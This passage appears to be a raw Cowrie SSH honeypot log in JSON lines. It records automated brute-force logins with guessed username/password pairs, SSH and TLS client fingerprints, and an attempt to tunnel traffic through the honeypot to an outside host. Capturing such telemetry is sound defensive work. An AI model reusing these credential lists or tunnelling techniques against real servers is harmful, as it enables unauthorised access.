\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:23.969730Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"olga","password":"olga","message":"login attempt [olga/olga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:24.008085Z","src_ip":"45.153.34.195","session":"1da039174bae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:24.519749Z","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:24.801387Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03i~\\x83d\\xc3\\x9e\\xbb\\x9b|\\x88ab\\xf7j\\x99\\x0c\\\\\\xe8\\'!\\x15\\x08\\xc17N\\xd6\\x8b\\x1e_\\x99\\x8d \\x1ej{\\xde2/\\x16\\xdd\\xaf\\xec\\xd1a%~\\xb3\\x0b\\xbbC|\\xd2\\'\\xad\\xb3\\x07:9\\xc9\\x97vE\\xe0\\t\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7 \\xf4R\\xcboj\\xc2\\x07\\\\/N\\x0e\\xa4\\x87\\xaar\\xc4f\\xd1\\xd2\\x19\\x80\\xb8{\\x95$\\xbc\\xd6\\x8a\\x94l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03i~\\x83d\\xc3\\x9e\\xbb\\x9b|\\x88ab\\xf7j\\x99\\x0c\\\\\\xe8\\'!\\x15\\x08\\xc17N\\xd6\\x8b\\x1e_\\x99\\x8d \\x1ej{\\xde2/\\x16\\xdd\\xaf\\xec\\xd1a%~\\xb3\\x0b\\xbbC|\\xd2\\'\\xad\\xb3\\x07:9\\xc9\\x97vE\\xe0\\t\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7 \\xf4R\\xcboj\\xc2\\x07\\\\/N\\x0e\\xa4\\x87\\xaar\\xc4f\\xd1\\xd2\\x19\\x80\\xb8{\\x95$\\xbc\\xd6\\x8a\\x94l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:24.804388Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:24.941097Z","src_ip":"91.92.40.36","session":"5f8185e3a8c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:25.091053Z","src_ip":"45.153.34.195","session":"1da039174bae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33948,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbb37c97733e","protocol":"ssh","message":"New connection: 91.92.40.36:33948 (159.203.135.109:22) [session: fbb37c97733e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:25.186594Z"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:25.265245Z","src_ip":"113.164.152.20","session":"d8a372a56e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35776,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f1026fac8d6","protocol":"ssh","message":"New connection: 45.153.34.195:35776 (10.17.0.5:22) [session: 5f1026fac8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:26.543191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:26.552554Z","src_ip":"45.153.34.195","session":"5f1026fac8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:26.656023Z","src_ip":"45.153.34.195","session":"5f1026fac8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:26.995823Z","src_ip":"45.153.34.195","session":"5f1026fac8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:27.577224Z","src_ip":"91.92.40.36","session":"3a377645f61b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":52338,"dst_ip":"10.17.0.5","dst_port":22,"session":"73caaf76b81f","protocol":"ssh","message":"New connection: 23.175.50.52:52338 (10.17.0.5:22) [session: 73caaf76b81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:27.598837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:27.604094Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:27.728217Z","src_ip":"91.92.40.36","session":"fbb37c97733e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:27.733463Z","src_ip":"91.92.40.36","session":"fbb37c97733e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:27.746284Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:28.149241Z","src_ip":"45.153.34.195","session":"5f1026fac8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35782,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fc2a7239acf","protocol":"ssh","message":"New connection: 45.153.34.195:35782 (10.17.0.5:22) [session: 4fc2a7239acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:29.248002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:29.252532Z","src_ip":"45.153.34.195","session":"4fc2a7239acf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:29.285332Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:29.529203Z","src_ip":"45.153.34.195","session":"4fc2a7239acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27274,"dst_ip":"159.203.135.109","dst_port":22,"session":"90f10df5973b","protocol":"ssh","message":"New connection: 91.92.40.36:27274 (159.203.135.109:22) [session: 90f10df5973b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:29.535565Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:29.936927Z","src_ip":"45.153.34.195","session":"4fc2a7239acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:31.167357Z","src_ip":"45.153.34.195","session":"4fc2a7239acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"654321","message":"login attempt [master/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:31.603831Z","src_ip":"91.92.40.36","session":"3e771f899aaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53844,"dst_ip":"10.17.0.5","dst_port":22,"session":"d69766f06e09","protocol":"ssh","message":"New connection: 45.153.34.195:53844 (10.17.0.5:22) [session: d69766f06e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:32.181470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:32.185641Z","src_ip":"45.153.34.195","session":"d69766f06e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:32.273732Z","src_ip":"45.153.34.195","session":"d69766f06e09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Memo1972","message":"login attempt [root/Memo1972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:32.648553Z","src_ip":"45.153.34.195","session":"d69766f06e09","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:32.787366Z","src_ip":"91.92.40.36","session":"90f10df5973b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sh